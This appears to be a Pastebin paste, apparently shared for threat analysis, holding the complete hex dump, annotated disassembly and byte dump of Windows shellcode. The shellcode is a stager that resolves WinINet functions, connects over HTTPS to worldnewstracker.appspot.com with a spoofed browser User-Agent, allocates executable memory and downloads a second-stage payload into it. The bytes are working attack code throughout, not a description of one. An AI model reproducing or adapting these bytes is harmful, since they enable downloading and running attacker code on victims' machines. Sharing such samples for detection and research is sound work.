API tools faq
paste
James_inthe_box

Bank

James_inthe_box
Nov 3rd, 2017
411
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.02 KB | None | 0 0
raw download clone embed print report
  1. Hex dump: fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 e8 00 00 00 00 31 ff 57 57 57 57 57 68 3a 56 79 a7 ff d5 e9 a4 00 00 00 5b 31 c9 51 51 6a 03 51 51 68 bb 01 00 00 53 50 68 57 89 9f c6 ff d5 50 e9 8c 00 00 00 5b 31 d2 52 68 00 32 a0 84 52 52 52 53 52 50 68 eb 55 2e 3b ff d5 89 c6 83 c3 50 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 5f 31 ff 57 57 6a ff 53 56 68 2d 06 18 7b ff d5 85 c0 0f 84 ca 01 00 00 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 75 07 58 50 e9 7b ff ff ff 31 ff e9 91 01 00 00 e9 c9 01 00 00 e8 6f ff ff ff 2f 35 79 44 6a 00 f6 ef dc 97 15 3b 49 55 4c b9 2a c0 18 fd 8a 60 29 19 89 36 11 07 49 19 7f 7b d7 71 1c 2c 46 5d 69 ca b3 1c 9b cc a3 50 f4 a3 16 40 54 4f 99 ca d7 a5 a7 77 ad 94 61 b4 37 4b a3 72 ef e9 6b 1d 0f 94 7b 49 69 a7 d8 3d 79 00 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 33 35 2e 30 2e 32 31 31 37 2e 31 35 37 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 0d 0a 00 8f d1 f6 05 2f 88 68 2f 0c 10 5c ef 13 61 ba 68 8c be d4 c3 30 77 d3 98 96 8c 47 0d d3 8c 8d 7e 94 9a 57 cc 65 2a dd 2f ad a7 25 84 0d 04 4c df cd 29 93 ad 08 c4 d2 d8 f8 df 85 f0 b6 be fb 7f 8c 46 bf d3 3b de 69 83 da 3b 92 56 95 cb 75 dc 60 77 df 64 e0 43 1d 10 b9 bd 0c b6 cf 92 23 90 14 f3 20 49 9d 7e f4 27 1d 97 76 37 9d 7b b9 9c 21 a9 3b ec fc 66 4a e5 79 f2 9f d1 3c a7 cb 8f b4 a5 71 2b ac 5d 28 9b 1b 77 4d b7 86 95 34 18 7b fa b5 b3 8a 31 20 a8 b2 2d 95 24 1e a3 67 54 a2 ec cb a3 b4 29 f0 f7 c0 87 e1 7c c1 03 f1 c8 fd 38 42 53 15 cd 10 75 a7 83 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 b9 00 00 00 00 01 d9 51 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 c6 8b 07 01 c3 85 c0 75 e5 58 c3 e8 89 fd ff ff 77 6f 72 6c 64 6e 65 77 73 74 72 61 63 6b 65 72 2e 61 70 70 73 70 6f 74 2e 63 6f 6d 00 71 5d e1 61
  2. 0x00000000 fc cld
  3. 0x00000001 e889000000 call 0x0000008f
  4. 0x00000006 60 pushad
  5. 0x00000007 89e5 mov ebp,esp
  6. 0x00000009 31d2 xor edx,edx
  7. 0x0000000b 648b5230 fs: mov edx,dword [edx + 48]
  8. 0x0000000f 8b520c mov edx,dword [edx + 12]
  9. 0x00000012 8b5214 mov edx,dword [edx + 20]
  10. 0x00000015 8b7228 mov esi,dword [edx + 40]
  11. 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
  12. 0x0000001c 31ff xor edi,edi
  13. 0x0000001e 31c0 xor eax,eax
  14. 0x00000020 ac lodsb
  15. 0x00000021 3c61 cmp al,97
  16. 0x00000023 7c02 jl 0x00000027
  17. 0x00000025 2c20 sub al,32
  18. 0x00000027 c1cf0d ror edi,13
  19. 0x0000002a 01c7 add edi,eax
  20. 0x0000002c e2f0 loop 0x0000001e
  21. 0x0000002e 52 push edx
  22. 0x0000002f 57 push edi
  23. 0x00000030 8b5210 mov edx,dword [edx + 16]
  24. 0x00000033 8b423c mov eax,dword [edx + 60]
  25. 0x00000036 01d0 add eax,edx
  26. 0x00000038 8b4078 mov eax,dword [eax + 120]
  27. 0x0000003b 85c0 test eax,eax
  28. 0x0000003d 744a jz 0x00000089
  29. 0x0000003f 01d0 add eax,edx
  30. 0x00000041 50 push eax
  31. 0x00000042 8b4818 mov ecx,dword [eax + 24]
  32. 0x00000045 8b5820 mov ebx,dword [eax + 32]
  33. 0x00000048 01d3 add ebx,edx
  34. 0x0000004a e33c jecxz 0x00000088
  35. 0x0000004c 49 dec ecx
  36. 0x0000004d 8b348b mov esi,dword [ebx + ecx * 4]
  37. 0x00000050 01d6 add esi,edx
  38. 0x00000052 31ff xor edi,edi
  39. 0x00000054 31c0 xor eax,eax
  40. 0x00000056 ac lodsb
  41. 0x00000057 c1cf0d ror edi,13
  42. 0x0000005a 01c7 add edi,eax
  43. 0x0000005c 38e0 cmp al,ah
  44. 0x0000005e 75f4 jnz 0x00000054
  45. 0x00000060 037df8 add edi,dword [ebp - 8]
  46. 0x00000063 3b7d24 cmp edi,dword [ebp + 36]
  47. 0x00000066 75e2 jnz 0x0000004a
  48. 0x00000068 58 pop eax
  49. 0x00000069 8b5824 mov ebx,dword [eax + 36]
  50. 0x0000006c 01d3 add ebx,edx
  51. 0x0000006e 668b0c4b mov cx,word [ebx + ecx * 2]
  52. 0x00000072 8b581c mov ebx,dword [eax + 28]
  53. 0x00000075 01d3 add ebx,edx
  54. 0x00000077 8b048b mov eax,dword [ebx + ecx * 4]
  55. 0x0000007a 01d0 add eax,edx
  56. 0x0000007c 89442424 mov dword [esp + 36],eax
  57. 0x00000080 5b pop ebx
  58. 0x00000081 5b pop ebx
  59. 0x00000082 61 popad
  60. 0x00000083 59 pop ecx
  61. 0x00000084 5a pop edx
  62. 0x00000085 51 push ecx
  63. 0x00000086 ffe0 jmp eax
  64. 0x00000088 58 pop eax
  65. 0x00000089 5f pop edi
  66. 0x0000008a 5a pop edx
  67. 0x0000008b 8b12 mov edx,dword [edx]
  68. 0x0000008d eb86 jmp 0x00000015
  69. 0x0000008f 5d pop ebp
  70. 0x00000090 686e657400 push 0x0074656e--> 'ten'
  71. 0x00000095 6877696e69 push 0x696e6977--> 'iniw'
  72. 0x0000009a 54 push esp
  73. 0x0000009b 684c772607 push 0x0726774c--> '&wL'
  74. 0x000000a0 ffd5 call ebp --> kernel32.dll!LoadLibraryA
  75. 0x000000a2 e800000000 call 0x000000a7
  76. 0x000000a7 31ff xor edi,edi
  77. 0x000000a9 57 push edi
  78. 0x000000aa 57 push edi
  79. 0x000000ab 57 push edi
  80. 0x000000ac 57 push edi
  81. 0x000000ad 57 push edi
  82. 0x000000ae 683a5679a7 push 0xa779563a--> 'yV:'
  83. 0x000000b3 ffd5 call ebp --> wininet.dll!InternetOpenA
  84. 0x000000b5 e9a4000000 jmp 0x0000015e
  85. 0x000000ba 5b pop ebx
  86. 0x000000bb 31c9 xor ecx,ecx
  87. 0x000000bd 51 push ecx
  88. 0x000000be 51 push ecx
  89. 0x000000bf 6a03 push 3
  90. 0x000000c1 51 push ecx
  91. 0x000000c2 51 push ecx
  92. 0x000000c3 68bb010000 push 443
  93. 0x000000c8 53 push ebx
  94. 0x000000c9 50 push eax
  95. 0x000000ca 6857899fc6 push 0xc69f8957
  96. 0x000000cf ffd5 call ebp --> wininet.dll!InternetConnectA
  97. 0x000000d1 50 push eax
  98. 0x000000d2 e98c000000 jmp 0x00000163
  99. 0x000000d7 5b pop ebx
  100. 0x000000d8 31d2 xor edx,edx
  101. 0x000000da 52 push edx
  102. 0x000000db 680032a084 push 0x84a03200
  103. 0x000000e0 52 push edx
  104. 0x000000e1 52 push edx
  105. 0x000000e2 52 push edx
  106. 0x000000e3 53 push ebx
  107. 0x000000e4 52 push edx
  108. 0x000000e5 50 push eax
  109. 0x000000e6 68eb552e3b push 0x3b2e55eb--> ';.U'
  110. 0x000000eb ffd5 call ebp --> wininet.dll!HttpOpenRequestA
  111. 0x000000ed 89c6 mov esi,eax
  112. 0x000000ef 83c350 add ebx,80
  113. 0x000000f2 6880330000 push 0x00003380
  114. 0x000000f7 89e0 mov eax,esp
  115. 0x000000f9 6a04 push 4
  116. 0x000000fb 50 push eax
  117. 0x000000fc 6a1f push 31
  118. 0x000000fe 56 push esi
  119. 0x000000ff 6875469e86 push 0x869e4675--> 'Fu'
  120. 0x00000104 ffd5 call ebp --> wininet.dll!InternetSetOptionA
  121. 0x00000106 5f pop edi
  122. 0x00000107 31ff xor edi,edi
  123. 0x00000109 57 push edi
  124. 0x0000010a 57 push edi
  125. 0x0000010b 6aff push 255
  126. 0x0000010d 53 push ebx
  127. 0x0000010e 56 push esi
  128. 0x0000010f 682d06187b push 0x7b18062d--> '{-'
  129. 0x00000114 ffd5 call ebp --> wininet.dll!HttpSendRequestA
  130. 0x00000116 85c0 test eax,eax
  131. 0x00000118 0f84ca010000 jz 0x000002e8
  132. 0x0000011e 31ff xor edi,edi
  133. 0x00000120 85f6 test esi,esi
  134. 0x00000122 7404 jz 0x00000128
  135. 0x00000124 89f9 mov ecx,edi
  136. 0x00000126 eb09 jmp 0x00000131
  137. 0x00000128 68aac5e25d push 0x5de2c5aa
  138. 0x0000012d ffd5 call ebp --> kernel32.dll!GetLastError
  139. 0x0000012f 89c1 mov ecx,eax
  140. 0x00000131 6845215e31 push 0x315e2145--> '1^!E'
  141. 0x00000136 ffd5 call ebp
  142. 0x00000138 31ff xor edi,edi
  143. 0x0000013a 57 push edi
  144. 0x0000013b 6a07 push 7
  145. 0x0000013d 51 push ecx
  146. 0x0000013e 56 push esi
  147. 0x0000013f 50 push eax
  148. 0x00000140 68b757e00b push 0x0be057b7--> '
  149. W'
  150. 0x00000145 ffd5 call ebp --> wininet.dll!InternetErrorDlg
  151. 0x00000147 bf002f0000 mov edi,0x00002f00
  152. 0x0000014c 39c7 cmp edi,eax
  153. 0x0000014e 7507 jnz 0x00000157
  154. 0x00000150 58 pop eax
  155. 0x00000151 50 push eax
  156. 0x00000152 e97bffffff jmp 0x000000d2
  157. 0x00000157 31ff xor edi,edi
  158. 0x00000159 e991010000 jmp 0x000002ef
  159. 0x0000015e e9c9010000 jmp 0x0000032c
  160. 0x00000163 e86fffffff call 0x000000d7
  161. 0x00000168 2f das
  162. 0x00000169 3579446a00 xor eax,0x006a4479
  163. 0x0000016e f6ef imul al,bh
  164. 0x00000170 dc97153b4955 fcom qword [edi + 1430862613]
  165. 0x00000176 4c dec esp
  166. 0x00000177 b92ac018fd mov ecx,0xfd18c02a
  167. 0x0000017c 8a6029 mov ah,byte [eax + 41]
  168. 0x0000017f 198936110749 sbb dword [ecx + 1225199926],ecx
  169. 0x00000185 197f7b sbb dword [edi + 123],edi
  170. 0x00000188 d7 xlat
  171. 0x00000189 711c jno 0x000001a7
  172. 0x0000018b 2c46 sub al,70
  173. 0x0000018d 5d pop ebp
  174. 0x0000018e 69cab31c9bcc imul ecx,edx,0xcc9b1cb3
  175. 0x00000194 a350f4a316 mov dword [0x16a3f450],eax
  176. 0x00000199 40 inc eax
  177. 0x0000019a 54 push esp
  178. 0x0000019b 4f dec edi
  179. 0x0000019c 99 cdq
  180. 0x0000019d cad7a5 retf 0x0000a5d7
  181. 0x000001a0 a7 cmpsd
  182. 0x000001a1 77ad ja 0x00000150
  183. 0x000001a3 94 xchg eax,esp
  184. 0x000001a4 61 popad
  185. 0x000001a5 b437 mov ah,55
  186. 0x000001a7 4b dec ebx
  187. 0x000001a8 a372efe96b mov dword [0x6be9ef72],eax
  188. 0x000001ad 1d0f947b49 sbb eax,0x497b940f
  189. 0x000001b2 69a7d83d790055736572 imul esp,dword [edi + 7945688],0x72657355
  190. 0x000001bc 2d4167656e sub eax,0x6e656741
  191. 0x000001c1 743a jz 0x000001fd
  192. 0x000001c3 204d6f and byte [ebp + 111],cl
  193. 0x000001c6 7a69 jpe 0x00000231
  194. 0x000001c8 6c insb byte [esi],edx
  195. 0x000001c9 6c insb byte [esi],edx
  196. 0x000001ca 61 popad
  197. 0x000001cb 2f das
  198. 0x000001cc 352e302028 xor eax,0x2820302e
  199. 0x000001d1 57 push edi
  200. 0x000001d2 696e646f777320 imul ebp,dword [esi + 100],0x2073776f
  201. 0x000001d9 4e dec esi
  202. 0x000001da 54 push esp
  203. 0x000001db 20352e312920 and byte [0x2029312e],dh
  204. 0x000001e1 41 inc ecx
  205. 0x000001e2 7070 jo 0x00000254
  206. 0x000001e4 6c insb byte [esi],edx
  207. 0x000001e5 6557 gs: push edi
  208. 0x000001e7 65624b69 gs: bound ecx,dword [ebx + 105]
  209. 0x000001eb 742f jz 0x0000021c
  210. 0x000001ed 3533372e33 xor eax,0x332e3733
  211. 0x000001f2 362028 ss: and byte [eax],ch
  212. 0x000001f5 4b dec ebx
  213. 0x000001f6 48 dec eax
  214. 0x000001f7 54 push esp
  215. 0x000001f8 4d dec ebp
  216. 0x000001f9 4c dec esp
  217. 0x000001fa 2c20 sub al,32
  218. 0x000001fc 6c insb byte [esi],edx
  219. 0x000001fd 696b6520476563 imul ebp,dword [ebx + 101],0x63654720
  220. 0x00000204 6b6f2920 imul ebp,dword [edi + 41],32
  221. 0x00000208 43 inc ebx
  222. 0x00000209 68726f6d65 push 0x656d6f72--> 'emor'
  223. 0x0000020e 2f das
  224. 0x0000020f 33352e302e32 xor esi,dword [0x322e302e]
  225. 0x00000215 3131 xor dword [ecx],esi
  226. 0x00000217 37 aaa
  227. 0x00000218 2e313537205361 cs: xor dword [0x61532037],esi
  228. 0x0000021f 6661 popad
  229. 0x00000221 7269 jc 0x0000028c
  230. 0x00000223 2f das
  231. 0x00000224 3533372e33 xor eax,0x332e3733
  232. 0x00000229 360d0a008fd1 ss: or eax,0xd18f000a
  233. 0x0000022f f6052f88682f0c test byte [0x2f68882f],12
  234. 0x00000236 105cef13 adc byte [edi + ebp * 8 + 19],bl
  235. 0x0000023a 61 popad
  236. 0x0000023b ba688cbed4 mov edx,0xd4be8c68
  237. 0x00000240 c3 ret
  238. 0x00000241 3077d3 xor byte [edi - 45],dh
  239. 0x00000244 98 cwde
  240. 0x00000245 96 xchg eax,esi
  241. 0x00000246 8c470d mov word [edi + 13],es
  242. 0x00000249 d38c8d7e949a57 ror dword [ebp + ecx * 4 + 1469748350],cl
  243. 0x00000250 cc int3
  244. 0x00000251 652add gs: sub bl,ch
  245. 0x00000254 2f das
  246. 0x00000255 ad lodsd
  247. 0x00000256 a7 cmpsd
  248. 0x00000257 25840d044c and eax,0x4c040d84
  249.  
  250. Byte Dump:
  251. ......`..1.d.R0.R.R..r(..J&1.1..<a|.,......RW.R..B<[email protected]...<I.4...1.1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..X_Z....]hnet.hwiniThLw&........1.WWWWWh:Vy........[1.QQj.QQh....SPhW.....P.....[1.Rh.2..RRRSRPh.U.;......Ph.3....j.Pj.VhuF...._1.WWj.SVh-..{..........1...t....h...]....hE!^1..1.Wj.QVPh.W...../..9.u.XP.{...1............o.../5yDj......;IUL.*....`)..6..I..{.q.,F][email protected]...{Ii..=y.User-Agent:Mozilla/5.0(WindowsNT5.1)AppleWebKit/537.36(KHTML,likeGecko)Chrome/35.0.2117.157Safari/537.36...../.h/.\..a.h....0w....G...~..W.e*./..%..L..)...............F..;.i..;.V..u.`w.d.C.......#...I.~.'..v7.{..!.;..fJ.y...<.....q+.](..wM...4.{....1..-.$..gT.....).....|[email protected]..@.WhX.S...........QS..Wh...SVh........t.......u.X......worldnewstracker.appspot.com.q].a
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!